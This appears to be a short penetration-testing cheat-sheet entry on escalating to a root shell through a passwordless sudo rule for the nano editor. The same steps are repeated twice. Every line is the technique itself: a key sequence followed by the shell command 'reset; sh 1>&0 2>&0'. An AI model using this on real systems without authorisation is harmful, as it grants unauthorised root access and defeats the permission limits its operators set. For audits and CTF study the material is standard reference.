Sudo NoPasswd with Nano
run nano on a file that is owned by root with the sudo command
in nano press CTRL+R and then CTRL+X
run the command:
reset; sh 1>&0 2>&0
You now have a root shell
Last updated
run nano on a file that is owned by root with the sudo command
in nano press CTRL+R and then CTRL+X
run the command:
reset; sh 1>&0 2>&0
You now have a root shell
Last updated